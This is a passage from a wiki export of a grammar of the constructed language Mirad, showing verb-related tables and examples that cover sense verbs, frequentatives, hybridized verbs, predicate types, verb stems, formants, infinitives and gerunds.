!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>t13k9jhavj8zjquxk4l69oq3tvwb26r</sha1>
    </revision>
    <revision>
      <id>4670491</id>
      <parentid>4670490</parentid>
      <timestamp>2026-09-16T18:44:31Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Intermediary Causative Verbs */</comment>
      <origin>4670491</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="135816" sha1="bvwavre20qtgjm6lxzejfbjhun5ure2" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
